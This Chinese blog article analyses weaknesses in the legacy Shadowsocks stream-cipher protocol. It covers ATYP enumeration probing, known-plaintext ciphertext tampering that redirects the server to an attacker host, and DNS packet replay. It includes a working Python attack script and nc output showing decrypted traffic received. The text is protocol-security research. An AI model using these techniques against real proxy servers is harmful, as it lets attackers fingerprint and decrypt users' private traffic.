使用主动探测方法识别 Shadowsocks 服务

Anyone, from the most clueless amateur to the best cryptographer, can create an algorithm that he himself can't break. (Schneier's law)

近期(2020-2-12),奇虎 360 核心安全团队(Qihoo 360 Core Security)公开了针对 Shadowsocks 的主动探测研究报告。洒家去年也研究过这个问题,正好随便搞篇文章,分析一波有关 Shadowsocks 主动探测的问题。这篇文章写得比较仓促,一些内容还有待继续研究,还有一部分内容是去年研究的,一些细节可能有错误,还需要不断修改和补充。

Shadowsocksclowwindy 于 2012-4-20 在 V2EX 论坛上出于个人爱好发布的作品,协议设计比较简陋,只是对类似 Socks5 协议的明文做了简单的加密,只保证了保密性,而没有保证完整性。中间人可以拦截密文,篡改特定的字段发往服务器,根据服务器的反应来判断某个服务是不是 Shadowsocks 服务,甚至可以利用服务端解密密文。Shadowsocks 协议中,控制服务端的字段为 ATYPDST.ADDRDST.PORT(下文有相关背景知识),主动探测时主要需要瞄准这几个字段。虽然说如果发挥想像力,我们可以有很多种改法,但是我们需要从中找出尽可能简单、有效的方法。以下是洒家已知的几种方法。其中部分内容是洒家独立想出来的,如有雷同,纯属撞车。

本文的复现示例全部使用 Python 版客户端和服务端,加密方式均为 AES-256-CFB。本文末尾附带了一些有关 Socks5 和 Shadowsocks 的简要的背景知识,不熟悉的读者可以先看背景知识,再看漏洞利用方法。

方法 1:遍历 SOCKS5 请求包的 ATYP 字段

此方法最早可能由 breakwa11 提出,仍然能访问到的代码在 2015-9-1 发布。而后在 2016-10-9 写的主动探测代码改进版,在 2017-7-24 发布的被动探测程序都已经无法下载。

攻击条件:只需猜对加密方式的 IV 长度(一般都是 16 字节)。不局限于某一特定加密方式、某一种特定已知明文的密文。

假设用户正在使用 AES-256-CFB 加密方式访问 http://mat1.gtimg.com/a.html,中间人窃听到的请求包为:

00000000  40 0e 4a 2d 18 6e 52 b0  5f e3 1f 33 f7 b6 15 c0  |@.J-.nR._..3....|
00000010  b3 7b c2 b9 be e1 2c e6  0b 76 cc a7 e0 79 3d 5f  |.{....,..v...y=_|
00000020  f1 5c 80 cb 34 d6 df 3e  cc e8 e0 56 8c 22 7f 2f  |.\..4..>...V."./|
00000030  81 fc ba fa fc 3c b1 f3  f1 93 c6 11 25 48 a0 34  |.....<......%H.4|
00000040  ff 8b 9c 41 97 19 31 0e  ab 0d 58 dc 61 b8 24 fe  |...A..1...X.a.$.|
00000050  81 04 eb e4 b0 6b 6f ba  93 eb 40 bb b8 ad 11 b5  |.....ko...@.....|
00000060  11 e6 85 8c 47 55 93 38  bd 39 2e 15 f4 d5 75 ad  |....GU.8.9....u.|
00000070  f4 fa 74 54 44 e3 ef 06  0c 15 c7 b8 b0 94 76 84  |..tTD.........v.|
00000080  a8 fa eb 7f 8b 63 40 4f  af 9a d2 a6 6a 12 23 0d  |.....c@O....j.#.|
00000090  0a 98 3b 83 9c a6 e0 77  f0                       |..;....w.|
00000099

假设中间人猜到用户使用了 IV 长度为 128 bits = 16 Bytes 加密方式,则从 0 开始的第 0x10 = 16 字节对应 SOCKS5 请求的 ATYP 字段的明文。ATYP 字段表示后续地址字段的类型,其明文只可能有 3 种合法值:1(IPv4)、3(域名)、4(IPv6)。根据异或运算的性质,显然,无论 ATYP 的明文是 134 中的哪一个,除了原始密文外,有可能使 ATYP 明文合法的密文只有 3 个:原始密文 ⊕ 1 ⊕ 3原始密文 ⊕ 3 ⊕ 4原始密文 ⊕ 4 ⊕ 1 表示异或运算。显然,从原始密文推算出的 3 种密文中,有且只有 1 种是错误的,其对应的明文不在 3 种可能的合法值之内。

服务端对不同的 ATYP 有不同的反应。如果明文是合法的值,服务端就有可能出现响应长度大于 0(可能由于正常连接远程服务器)、超时(可能由于指向了错误的远程服务器)等特征,称为“有反应”。而如果明文是非法的值,ssserver 会立即关闭连接,响应长度为 0,称为“没有反应”。根据 Python 版 Shadowsocks 源码ATYP 的高 4 位被借用,表示 OTA 是否启用,可以保持不变。攻击者只需遍历 ATYP 的密文的低 4 位共 16 种情况,使解密出的明文包含 4 种有可能合法的值和 12 不可能合法的值。如果所有不可能合法的值确实都没有反应,同时存在 1 - 3 种可能合法的值确实有反应,则认为目标是 Shadowsocks 服务。

洒家把 2015-9-1 版代码稍微修改了一下,测试效果如下。

ss-active-detect-1.png
方法 1

其中,ATYP 的密文为 0xb3 = 179,对应的明文为 0x03。除了原始值以外,其他可能使明文合法的密文/明文组合有:0xb1 = 177, 10xb4 = 180, 40xb6 = 182, 6,最后一种是由原始值不确定性导致的可能合法实际非法的值。

在上图中,密文 0xb3 = 179 是原始请求,收到了长度为 511 的响应,“有反应”。密文 0xb1 = 177 使 ssserver 连接一个 IPv4 地址,导致 timeout,“有反应”。由于 ssserver 所在机器不支持 IPv6,密文 0xb4 = 180“没有反应”。其余请求均“没有反应”。根据上文的判断标准,目标很有可能是一个 Shadowsocks 服务。

上述方法遍历了中间人窃听到的流量中的一个字节。显然,即使没有抓到流量,只知道目标服务的 IP 和端口,也可以对其进行测试。任意发送一个固定的 IV,遍历 ATYP 的密文,对应明文仍然覆盖了 0x00 - 0xFF 的范围。攻击者仍然可以分析“有反应”时 ATYP 密文的特征,例如密文之间的异或关系、高 4 位对结果的影响等,从而识别 Shadowsocks 服务。

方法 2:利用已知明文构造请求包,实现重定向攻击

奇虎 360 核心安全团队(Qihoo 360 Core Security)在 2020-2-12 公开了这种方法的研究报告。目前,网上已经有了一些复现和分析,例如这个这个

攻击条件:猜对加密方式的 IV 长度(一般都是 16 字节),猜对加密流开头几个字节(例如 HTTP 响应开头的 HTTP/1. 等)

假设攻击者猜对了请求/响应加密流开头几个字节的明文。利用已知明文,攻击者可以直接构造合法请求包,前几个字节 ATYPDST.ADDRDST.PORT 字段指向攻击者的服务器。发出这个请求包后,服务端会请求攻击者服务器,并转发明文。使用这种方法,攻击者不但能识别目标服务类型,同时还可以解密大部分数据。

情景 1:猜测 TCP 响应流明文的开头

对于 HTTP 和 HTTPS 流量来说,响应流开头几个字节是固定的、可以预测的。以下复现内容使用 HTTP 协议作为示例,HTTPS 协议应该是类似的。用户通过 Shadowsocks 发出 1 个 HTTP 请求,抓到的 Shadowsocks 流量如下(无缩进的行代表请求,有缩进的行代表响应):

00000000  ea e4 c7 42 ee 94 e9 c0  41 a8 da 4d 75 cd 17 58   ...B.... A..Mu..X
00000010  56 40 50 56 94 2f d9 cc  b9 c6 6f 2d 41 42 d0 e5   V@PV./.. ..o-AB..
00000020  71 56 6a c1 92 80 aa 78  89 13 77 74 02 c7 ca db   qVj....x ..wt....
00000030  3e eb 52 de 8a 0c f6 24  d8 68 fb 91 0a 42 b6 8d   >.R....$ .h...B..
00000040  17 53 b0 e1 5d d6 c4 59  79 93 67 cb f3 6c 1c 71   .S..]..Y y.g..l.q
00000050  b2 ec 23 e2 3a f8 ce a5  2f 90 85 00 7d 5c 23 a6   ..#.:... /...}\#.
00000060  c6 ed fd 59 13 f7 f1 e7  e6 53 42 19 36 80 72 56   ...Y.... .SB.6.rV
00000070  3b fe d7 ee 2c 8a ae c6  e6 54 2a 97 14            ;...,... .T*..
    00000000  5b ff c1 03 42 89 c3 7c  8e 08 4a bb 81 64 3c bb   [...B..| ..J..d<.
    00000010  3b 49 2c 30 b4 fc 68 b2  31 00 3f 32 fb 64 a8 13   ;I,0..h. 1.?2.d..
    00000020  73                                                 s
    00000021  95 3a cb 4b 68 b1 c7 3f  fb 8d d5 05 14 e1 12 cb   .:.Kh..? ........
    00000031  79 f7 87 75 33 e7 15 6f  b3 43 0c 69 6b e4 e0 96   y..u3..o .C.ik...
    00000041  2b 74 08 09 a1 f3 94 25  a9 3e 6f 95 e6 f1 d3 c2   +t.....% .>o.....
    00000051  8f 88 ef 6c 54 87 75 36  42 96 b7 ee 54 a2 9f e0   ...lT.u6 B...T...
    00000061  4a 5b aa bb 82 9e b8 7c  ee 65 3b 74 8f e5 de 10   J[.....| .e;t....
    00000071  1b af fc f6 0b ce 21 8c  61 de f5 60 74 a7 3f 9b   ......!. a..`t.?.
    00000081  16 23 bf 37 18 4a 0c c9  2d 41 4a fa 39 92 81 ad   .#.7.J.. -AJ.9...
    00000091  32 90 90 3c b7 ed 95 4b  9b b9 1a ef 2a 81 e3 ab   2..<...K ....*...
    000000A1  05 70 c3 d9 f5 86 51 8d  6b 2a 88 0d 88 07 38 84   .p....Q. k*....8.
    000000B1  f1 d6 b6 55 3d d8 5a d4  e4 a0 21 48 0c cf c7 68   ...U=.Z. ..!H...h
    000000C1  1a ad 3d 2d d1 86 bb b1  4a 1e 79 77 af 08 9a c9   ..=-.... J.yw....
    000000D1  2c 48 95 7b 2e a1 3f                               ,H.{..?

响应包中,5bffc1034289c37c8e084abb81643cbb 是 IV,HTTP 响应的密文以 3b492c30b4fc68 开头。已知 HTTP 响应的明文以 HTTP/1. 开头,可以异或得到密钥流(key stream),开头 7 个字节为 731d78609bcd46。假设攻击者的服务器 IP 地址为 172.16.209.100,监听端口 9876,根据 Socks5 和 Shadowsocks 协议(背景知识见下文),可以构造出请求明文的开头 7 个字节,为 01ac10d1642694。与密钥流异或,得到 72b168b1ffebd2。用这 7 个字节替换密文对应部分,得到 5bffc1034289c37c8e084abb81643cbb72b168b1ffebd2b231003f32fb64a813 ...

假设攻击者 IP 为 172.16.209.1,Shadowsocks 服务器 IP 为 172.16.209.101,攻击者控制的服务器 IP 为 172.16.209.100。发送构造好的密文,Shadowsocks 服务端日志如下:

2020-03-10 09:02:14 INFO     connecting 172.16.209.100:9876 from 172.16.209.1:63355

同时,攻击者控制的服务器收到了请求,并得到剩余明文:

# nc -vv -n -lp 9876 | hexdump -C
listening on [any] 9876 ...
connect to [172.16.209.100] from (UNKNOWN) [172.16.209.101] 33752
00000000  30 20 32 30 30 20 4f 4b  0d 46 fb 48 94 a5 39 79  |0 200 OK.F.H..9y|
00000010  6e f6 e0 62 06 09 e9 46  03 54 54 50 2f 30 2e 36  |n..b...F.TTP/0.6|
00000020  20 50 79 74 68 6f 6e 2f  32 2e 37 2e 31 37 0d 0a  | Python/2.7.17..|
00000030  44 61 74 65 3a 20 53 75  6e 2c 20 30 38 20 4d 61  |Date: Sun, 08 Ma|
00000040  72 20 32 30 32 30 20 31  31 3a 35 32 3a 30 39 20  |r 2020 11:52:09 |
00000050  47 4d 54 0d 0a 43 6f 6e  74 65 6e 74 2d 74 79 70  |GMT..Content-typ|
00000060  65 3a 20 74 65 78 74 2f  70 6c 61 69 6e 0d 0a 43  |e: text/plain..C|
00000070  6f 6e 74 65 6e 74 2d 4c  65 6e 67 74 68 3a 20 31  |ontent-Length: 1|
00000080  34 0d 0a 4c 61 73 74 2d  4d 6f 64 69 66 69 65 64  |4..Last-Modified|
00000090  3a 20 53 75 6e 2c 20 30  38 20 4d 61 72 20 32 30  |: Sun, 08 Mar 20|
000000a0  32 30 20 31 31 3a 34 36  3a 35 34 20 47 4d 54 0d  |20 11:46:54 GMT.|
000000b0  0a 0d 0a 48 65 6c 6c 6f  20 57 6f 72 6c 64 21 0a  |...Hello World!.|
 sent 0, rcvd 193
*
000000c1

可以注意到,大部分密文已经被成功解密。根据 CFB 的特性,修改了第 1 个分组的密文后,第 2 个分组 16 字节会受到影响,解密结果为乱码,后续分组解密恢复正常。

攻击代码如下:

#!/usr/bin/env python3
# encoding: utf-8

import os
import sys
import socket
import time
import logging

logging.basicConfig(level=logging.INFO)


def xor(s1, s2):
    if len(s1) != len(s2):
        raise ValueError('xor len(s1) != len(s2)')

    n = len(s1)
    result = []
    for i in range(n):
        result.append(s1[i] ^ s2[i])

    return bytes(result)


def send(host, port, content):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))
    s.send(content)
    time.sleep(2)
    s.close()


def decode_hex(s):
    if type(s) is not bytes:
        return bytes.fromhex(s)
    else:
        return s


def main():
    ssserver_host = '172.16.209.101'
    ssserver_port = 12345
    iv_len = 16
    req_target = '01ac10d1642694'
    plain = b'HTTP/1.'
    cipher = '5bffc1034289c37c8e084abb81643cbb3b492c30b4fc68b231003f32fb64a81373953acb4b68b1c73ffb8dd50514e112cb79f7877533e7156fb3430c696be4e0962b740809a1f39425a93e6f95e6f1d3c28f88ef6c548775364296b7ee54a29fe04a5baabb829eb87cee653b748fe5de101baffcf60bce218c61def56074a73f9b1623bf37184a0cc92d414afa399281ad3290903cb7ed954b9bb91aef2a81e3ab0570c3d9f586518d6b2a880d88073884f1d6b6553dd85ad4e4a021480ccfc7681aad3d2dd186bbb14a1e7977af089ac92c48957b2ea13f'

    cipher = decode_hex(cipher)
    plain = decode_hex(plain)
    req_target = decode_hex(req_target)

    if len(plain) < len(req_target):
        raise ValueError('too few known plain')

    iv = cipher[:iv_len]
    real_cipher = cipher[iv_len:]
    logging.info('Got cipher len = %d, iv len = %d, real cipher len = %d', len(cipher), len(iv), len(real_cipher))

    req_target_cipher = xor(req_target, xor(plain[:len(req_target)], real_cipher[:len(req_target)]))
    new_cipher = iv + req_target_cipher + real_cipher[len(req_target):]
    logging.info('New cipher len = %d', len(new_cipher))
    send(ssserver_host, ssserver_port, new_cipher)


if __name__ == "__main__":
    main()

情景 2:猜测 TCP 请求流明文的开头

攻击者也可以选择修改请求流发起攻击。这种情况下,需要猜测并篡改 ATYPDST.ADDRDST.PORT 字段,攻击条件相对更严格,成功率更低。显然只有 ATYP 值为 3(域名),DST.ADDR 是一个域名时比较容易处理。

攻击者需要注册一些长短不一的域名,指向自己的服务器。在抓到的请求包 ATYP 是域名,同时猜到了域名(或者域名的长度和开头)的情况下,可以用类似的方法替换为攻击者自己的域名,重新把请求包发送到 Shadowsocks 服务器。如果自己的域名对应的服务器收到请求,即攻击成功。攻击者也可以自建 DNS 服务器作为 NS,通过观察 DNS 解析记录判断是否攻击成功。

情景 3:猜测基于 UDP 的 DNS 服务器地址,重放 DNS 流量

受到上述方法的启发,洒家想到了一种新方法,可以大大减少攻击的不确定性。刚才简单搜了一下,好像没有人这么搞过,如有雷同,纯属撞车。

这种方法就是监听并重放基于 UDP 的 DNS 数据包。首先我们需要了解 Shadowsocks 如何传输 UDP 协议,以及和传输 TCP 协议的区别。和 VMess 这种纯 TCP 协议不同,Shadowsocks 的 UDP 和 TCP 是分别传输的,通过 TCP 传输 TCP,通过 UDP 传输 UDP。在报文方面 UDP 和 TCP 也有区别。Shadowsocks 的 UDP 响应头部会重复客户端的目标地址部分,即请求和响应结构均为 [target address][payload]。更具体的协议分析会在下文背景知识部分详细介绍。

相比于重放 HTTP、HTTPS 流量,重放 DNS 流量有很多优势。首先,UDP 协议的流量一般都是 DNS 流量。即使考虑到 QUIC 等基于 UDP 的新协议的干扰,我们仍然可以确信,客户端启动服务后,首先出现的 UDP 包就是 DNS 包。攻击者只需瞄准突然出现的 UDP 流量包即可。其次,相比于成千上万的网站,常用的 DNS 服务器非常有限。Androud 客户端默认的服务器是 dns.google,用户也可能设置为 8.8.8.8 等常见服务器。再次,由于 UDP 响应头部也会带上 [target address],请求包和响应包都可以重放。综上,重放 DNS 流量可以大大减少不确定性。

假设用户启动 Android 版 Shadowsocks 后,GFW 突然发现有一阵新的 TCP 和 UDP 流量,连接了海外某台服务器的同一个端口。其中,第 1 个 UDP 流量如下。(无缩进的行代表请求,有缩进的行代表响应)

00000000  b1 9e 9b a4 a8 ec 67 46  04 2b 32 44 83 ba d7 62   ......gF .+2D...b
00000010  08 4d 0e 0d 49 cb c7 7e  f7 55 2d bd 09 9d 9f 68   .M..I..~ .U-....h
00000020  f0 01 71 7a 89 7c d7 f2  c6 26 d5 66 47 71 86 c2   ..qz.|.. .&.fGq..
00000030  d1 ad 32 7b 4b 38 75 62  cd ad 3f bd               ..2{K8ub ..?.
    00000000  a9 0a 1e 32 81 a3 1e 65  f8 b1 85 9d db ea 4e 91   ...2...e ......N.
    00000010  33 2e b5 bd cf c9 21 50  8a d0 26 57 cd c6 c5 50   3.....!P ..&W...P
    00000020  31 ea ee ef 53 5f 23 e7  a7 ee 8f 33 af f4 68 f9   1...S_#. ...3..h.
    00000030  d5 be 9a 9f df ef 16 47  6e cd df 67 d7 28 9e 9b   .......G n..g.(..
    00000040  7e 23 1c bd 51 c4 6c 3e  87 d4 1f 41 66 89 58 43   ~#..Q.l> ...Af.XC
    00000050  9e d8 d7 e2 95 56 b4 33  fb 49 e2 c4 7f 02 f5 86   .....V.3 .I......
    00000060  a5 ab ff 3c 86 8c 98 f7  92 38 ae 6c 9f 87 0a ad   ...<.... .8.l....

假设 GFW 猜到了这是向 8.8.8.8:53 发出的 DNS 请求。那么,请求和响应的明文都以 01080808080035 开头。和上文的攻击流程类似,假设攻击者控制的服务器的 IP 为 192.168.241.129,监听 2233 TCP 端口。攻击者需要修改密文,使明文以 01c0a8f18108b9 开头。经过异或和替换,将修改后的密文发往 Shadowsocks 服务器,攻击者的服务器即可收到明文。

重放 DNS 请求的结果:

# nc -vv -lp 2233 | hexdump -C
Listening on [0.0.0.0] (family 0, port 2233)
Connection from 192.168.241.128 34702 received!
00000000  f1 ab 01 00 00 01 00 00  00 aa 0a cd b3 5b fb 01  |.............[..|
00000010  1f 23 c0 15 74 c6 bd 71  35 67 6c 65 03 63 6f 6d  |.#..t..q5gle.com|
00000020  00 00 1c 00 01                                    |.....|
00000025

重放 DNS 响应的结果:

# nc -vv -lp 2233 | hexdump -C
Listening on [0.0.0.0] (family 0, port 2233)
Connection from 192.168.241.128 34704 received!
00000000  f1 ab 81 80 00 01 00 02  00 3e 71 2a 3f 49 6e 01  |.........>q*?In.|
00000010  1a 45 80 c9 a7 44 a0 2b  7f 67 6c 65 03 63 6f 6d  |.E...D.+.gle.com|
00000020  00 00 1c 00 01 c0 0c 00  05 00 01 00 00 01 2b 00  |..............+.|
00000030  0c 07 63 6c 69 65 6e 74  73 01 6c c0 15 c0 31 00  |..clients.l...1.|
00000040  1c 00 01 00 00 01 2b 00  10 24 04 68 00 40 12 00  |......+..$.h.@..|
00000050  01 00 00 00 00 00 00 20  0e                       |....... .|
00000059

两次重放,Shadowsocks 的日志:

ss_1  | 2020-03-19 18:09:42 INFO     connecting 192.168.241.129:2233 from 192.168.241.130:50166
ss_1  | 2020-03-19 18:10:51 INFO     connecting 192.168.241.129:2233 from 192.168.241.130:50181

和上文类似,第 2 个分组 16 字节受到了影响,解密结果为乱码,后续解密正常。另外,重放 UDP 数据包时,攻击者不必也监听 UDP,上面的例子中,攻击者监听的是 TCP 端口。


背景知识

SOCKS5 协议

SOCKS5 协议,即 SOCKS Protocol Version 5,在 RFC 1928 中定义。本文中只简单提到有关 TCP 协议的部分内容。

我们首先来看几个通过 SOCKS5 代理服务器访问 HTTP 服务的流量的 hex dump 示例,然后再分析协议。以下示例中,无缩进的行代表请求,有缩进的行代表响应。

示例 1,通过代理服务器访问 IPv4 地址,代理 TCP + HTTP 协议,无认证,有删减。

00000000  05 01 00                                           ...
    00000000  05 00                                              ..
00000003  05 01 00 01 6f 0d 95 6c  00 50                     ....o..l .P
    00000002  05 00 00 01 00 00 00 00  00 00                     ........ ..
0000000D  47 45 54 20 2f 72 6f 62  6f 74 73 2e 74 78 74 20   GET /rob ots.txt 
0000001D  48 54 54 50 2f 31 2e 31  0d 0a 48 6f 73 74 3a 20   HTTP/1.1 ..Host: 
0000002D  31 31 31 2e 31 33 2e 31  34 39 2e 31 30 38 0d 0a   111.13.1 49.108..
0000003D  55 73 65 72 2d 41 67 65  6e 74 3a 20 70 79 74 68   User-Age nt: pyth
0000004D  6f 6e 2d 72 65 71 75 65  73 74 73 2f 32 2e 32 32   on-reque sts/2.22
... ...

    0000000C  48 54 54 50 2f 31 2e 31  20 35 30 33 20 53 65 72   HTTP/1.1  503 Ser
    0000001C  76 69 63 65 20 54 65 6d  70 6f 72 61 72 69 6c 79   vice Tem porarily
    0000002C  20 55 6e 61 76 61 69 6c  61 62 6c 65 0d 0a 44 61    Unavail able..Da
    0000003C  74 65 3a 20 54 68 75 2c  20 30 35 20 4d 61 72 20   te: Thu,  05 Mar 
    0000004C  32 30 32 30 20 31 34 3a  35 39 3a 31 36 20 47 4d   2020 14: 59:16 GM
    0000005C  54 0d 0a 43 6f 6e 74 65  6e 74 2d 54 79 70 65 3a   T..Conte nt-Type:
    0000006C  20 74 65 78 74 2f 70 6c  61 69 6e 0d 0a 43 6f 6e    text/pl ain..Con
    ... ...

示例 2,通过代理服务器访问一个域名,代理 TCP + HTTP 协议,无认证,有删减。

00000000  05 01 00                                           ...
    00000000  05 00                                              ..
00000003  05 01 00 03 06 6a 64 2e  63 6f 6d 00 50            .....jd. com.P
    00000002  05 00 00 01 00 00 00 00  00 00                     ........ ..
00000010  47 45 54 20 2f 72 6f 62  6f 74 73 2e 74 78 74 20   GET /rob ots.txt 
00000020  48 54 54 50 2f 31 2e 31  0d 0a 48 6f 73 74 3a 20   HTTP/1.1 ..Host: 
00000030  6a 64 2e 63 6f 6d 0d 0a  55 73 65 72 2d 41 67 65   jd.com.. User-Age
00000040  6e 74 3a 20 70 79 74 68  6f 6e 2d 72 65 71 75 65   nt: pyth on-reque
... ...

    0000000C  48 54 54 50 2f 31 2e 31  20 33 30 32 20 4d 6f 76   HTTP/1.1  302 Mov
    0000001C  65 64 20 54 65 6d 70 6f  72 61 72 69 6c 79 0d 0a   ed Tempo rarily..
    0000002C  44 61 74 65 3a 20 54 68  75 2c 20 30 35 20 4d 61   Date: Th u, 05 Ma
    0000003C  72 20 32 30 32 30 20 31  34 3a 35 39 3a 31 35 20   r 2020 1 4:59:15 
    0000004C  47 4d 54 0d 0a 43 6f 6e  74 65 6e 74 2d 54 79 70   GMT..Con tent-Typ
    0000005C  65 3a 20 74 65 78 74 2f  68 74 6d 6c 0d 0a 43 6f   e: text/ html..Co
    ... ...

SOCKS5 协议非常简单,实际上就是在真正通讯之前加了一点东西。在建立 TCP 连接后,SOCKS5 通讯大致可以分为 3 个步骤:认证/协商,请求连接,自由通讯。

开头 2 行,客户端发送的 05 01 00 和收到的 05 00 属于认证步骤,表示客户端无需认证。(略)

后续 1 行,客户端请求连接远程主机。本文着重分析这一过程。SOCKS5 的请求格式如下。

+-----+-----+------+------+----------+---------+
| VER | CMD | RSV  | ATYP | DST.ADDR | DST.PORT|
+-----+-----+------+------+----------+---------+
|  1  |  1  | X'00'|   1  | Variable |    2    |
+-----+-----+------+------+----------+---------+

Where:

    o  VER    protocol version(协议版本): X'05'
    o  CMD
        o  CONNECT(连接)X'01'
        o  BIND(绑定)X'02'
        o  UDP ASSOCIATE(UDP 关联)X'03'
    o  RSV    RESERVED(保留字段)
    o  ATYP   address type of following address(后续地址字段的类型)
        o  IP V4 address(IPv4 地址): X'01'
        o  DOMAINNAME(域名): X'03'
        o  IP V6 address(IPv6 地址): X'04'
    o  DST.ADDR       desired destination address(想连接的目的地址)
    o  DST.PORT desired destination port in network octet order(端口,网络字节序即大端序)

按照 RFC 1928 文档的习惯,报文格式说明中,十进制数字表示字段长度,即字节 Byte 数量;Variable 表示此字段长度可变;X'hh' 表示用十六进制表示的具体值。

其中,ATYP 表示地址字段类型。ATYPX'03' 表示域名,这种情况下 DST.ADDR 的第 1 个字节表示域名的长度字节数,后续是域名字符串,不含 Null 字符。如果 ATYP 是 IPv4 和 IPv6,DST.ADDR 的地址长度分别为 4 Bytes 和 16 Bytes。

流量中,请求的下一行是对请求的响应,包含代理服务器连接远程主机的结果等信息。如果代理服务器成功连接远程主机,后续客户端和代理服务器的通讯就相当于直接和远程主机通讯。

Shadowsocks

Shadowsocks 本来只是 clowwindy 的一个爱好作品,只对 socks 协议做了简单的流加密,只保证了保密性,而不保证完整性。

阅读 Shadowsocks 白皮书Python 版源码可知,sslocal 和 ssserver 相当于把一个 SOCKS5 代理服务器拆成的两半,两者之间通过 Shadowsocks 协议通信。此协议实际上只是把 SOCKS5 协议的关键部分进行加密封装。以下只简单介绍 TCP 数据流的传统加密方式的协议细节。

Shadowsocks 采用流加密,sslocal 和 ssserver 各有 1 个加密流,其密文格式为 [IV][encrypted payload]。其中,AES 系列加密方式的 IV 长度均为 16 字节。

当用户通过 Shadowsocks 进行 TCP 通信时,首先由 sslocal 发出请求,其明文格式为 [target address][payload]。其中,target address 和 SOCKS5 协议的请求部分很相似,但是只包含 ATYPDST.ADDRDST.PORT 这 3 个字段,即 [1-byte type][variable-length host][2-byte port]。ssserver 直接对来自目标服务器的响应进行流加密,发送给 sslocal。

UDP 通信的过程略有不同。和 VMess 这种纯 TCP 协议不同,Shadowsocks 的 UDP 和 TCP 是分别传输的,通过 TCP 传输 TCP,通过 UDP 传输 UDP。(PS. 如果用户用 docker 运行 Shadowsocks,一个常见的配置错误就是忘记进行 UDP 端口转发。如果 VPS 平台带防火墙,很多用户也会经常忘记放行 UDP 流量。)在报文方面 UDP 和 TCP 也有区别。Shadowsocks 的 UDP 响应头部会重复客户端的目标地址部分,即请求和响应格式均为 [target address][payload]

为了验证上述理论,同时更深入地理解 Shadowsocks 的加解密过程,可以尝试抓包并解密。以 AES-256-CFB 加密方式为例,密码设为 123456,通过 Shadowsocks 发出 1 个 HTTP 请求,抓到的流量包如下。(无缩进的行代表请求,有缩进的行代表响应)

00000000  ea e4 c7 42 ee 94 e9 c0  41 a8 da 4d 75 cd 17 58   ...B.... A..Mu..X
00000010  56 40 50 56 94 2f d9 cc  b9 c6 6f 2d 41 42 d0 e5   V@PV./.. ..o-AB..
00000020  71 56 6a c1 92 80 aa 78  89 13 77 74 02 c7 ca db   qVj....x ..wt....
00000030  3e eb 52 de 8a 0c f6 24  d8 68 fb 91 0a 42 b6 8d   >.R....$ .h...B..
00000040  17 53 b0 e1 5d d6 c4 59  79 93 67 cb f3 6c 1c 71   .S..]..Y y.g..l.q
00000050  b2 ec 23 e2 3a f8 ce a5  2f 90 85 00 7d 5c 23 a6   ..#.:... /...}\#.
00000060  c6 ed fd 59 13 f7 f1 e7  e6 53 42 19 36 80 72 56   ...Y.... .SB.6.rV
00000070  3b fe d7 ee 2c 8a ae c6  e6 54 2a 97 14            ;...,... .T*..
    00000000  5b ff c1 03 42 89 c3 7c  8e 08 4a bb 81 64 3c bb   [...B..| ..J..d<.
    00000010  3b 49 2c 30 b4 fc 68 b2  31 00 3f 32 fb 64 a8 13   ;I,0..h. 1.?2.d..
    00000020  73                                                 s
    00000021  95 3a cb 4b 68 b1 c7 3f  fb 8d d5 05 14 e1 12 cb   .:.Kh..? ........
    00000031  79 f7 87 75 33 e7 15 6f  b3 43 0c 69 6b e4 e0 96   y..u3..o .C.ik...
    00000041  2b 74 08 09 a1 f3 94 25  a9 3e 6f 95 e6 f1 d3 c2   +t.....% .>o.....
    00000051  8f 88 ef 6c 54 87 75 36  42 96 b7 ee 54 a2 9f e0   ...lT.u6 B...T...
    00000061  4a 5b aa bb 82 9e b8 7c  ee 65 3b 74 8f e5 de 10   J[.....| .e;t....
    00000071  1b af fc f6 0b ce 21 8c  61 de f5 60 74 a7 3f 9b   ......!. a..`t.?.
    00000081  16 23 bf 37 18 4a 0c c9  2d 41 4a fa 39 92 81 ad   .#.7.J.. -AJ.9...
    00000091  32 90 90 3c b7 ed 95 4b  9b b9 1a ef 2a 81 e3 ab   2..<...K ....*...
    000000A1  05 70 c3 d9 f5 86 51 8d  6b 2a 88 0d 88 07 38 84   .p....Q. k*....8.
    000000B1  f1 d6 b6 55 3d d8 5a d4  e4 a0 21 48 0c cf c7 68   ...U=.Z. ..!H...h
    000000C1  1a ad 3d 2d d1 86 bb b1  4a 1e 79 77 af 08 9a c9   ..=-.... J.yw....
    000000D1  2c 48 95 7b 2e a1 3f                               ,H.{..?

其中,2 个响应 TCP 包可以直接拼接到一起。

洒家又使用 Android 客户端,通过 Shadowsocks 向 UDP 8.8.8.8:53 发出一个 DNS 请求,抓到的流量包如下。(无缩进的行代表请求,有缩进的行代表响应)

00000000  b1 9e 9b a4 a8 ec 67 46  04 2b 32 44 83 ba d7 62   ......gF .+2D...b
00000010  08 4d 0e 0d 49 cb c7 7e  f7 55 2d bd 09 9d 9f 68   .M..I..~ .U-....h
00000020  f0 01 71 7a 89 7c d7 f2  c6 26 d5 66 47 71 86 c2   ..qz.|.. .&.fGq..
00000030  d1 ad 32 7b 4b 38 75 62  cd ad 3f bd               ..2{K8ub ..?.
    00000000  a9 0a 1e 32 81 a3 1e 65  f8 b1 85 9d db ea 4e 91   ...2...e ......N.
    00000010  33 2e b5 bd cf c9 21 50  8a d0 26 57 cd c6 c5 50   3.....!P ..&W...P
    00000020  31 ea ee ef 53 5f 23 e7  a7 ee 8f 33 af f4 68 f9   1...S_#. ...3..h.
    00000030  d5 be 9a 9f df ef 16 47  6e cd df 67 d7 28 9e 9b   .......G n..g.(..
    00000040  7e 23 1c bd 51 c4 6c 3e  87 d4 1f 41 66 89 58 43   ~#..Q.l> ...Af.XC
    00000050  9e d8 d7 e2 95 56 b4 33  fb 49 e2 c4 7f 02 f5 86   .....V.3 .I......
    00000060  a5 ab ff 3c 86 8c 98 f7  92 38 ae 6c 9f 87 0a ad   ...<.... .8.l....

编程之前还需要解决一个问题,即 Shadowsocks 的密码是怎样变为 AES key 的?通过阅读源码 shadowsocks/cryptor.py 可以知道,Shadowsocks 使用类似 OpenSSLEVP_BytesToKey() 函数来生成 key。我们可以直接复制此函数,并稍加修改后使用。

洒家选用 pycryptodome 库编程进行解密,代码如下:

#!/usr/bin/env python3
# encoding: utf-8

import os
import sys
import logging
import hashlib

from Crypto.Cipher import AES

logging.basicConfig(level=logging.INFO)


def EVP_BytesToKey(password, key_len, iv_len):
    m = []
    i = 0
    while len(b''.join(m)) < (key_len + iv_len):
        md5 = hashlib.md5()
        data = password
        if i > 0:
            data = m[i - 1] + password
        md5.update(data)
        m.append(md5.digest())
        i += 1
    ms = b''.join(m)
    key = ms[:key_len]
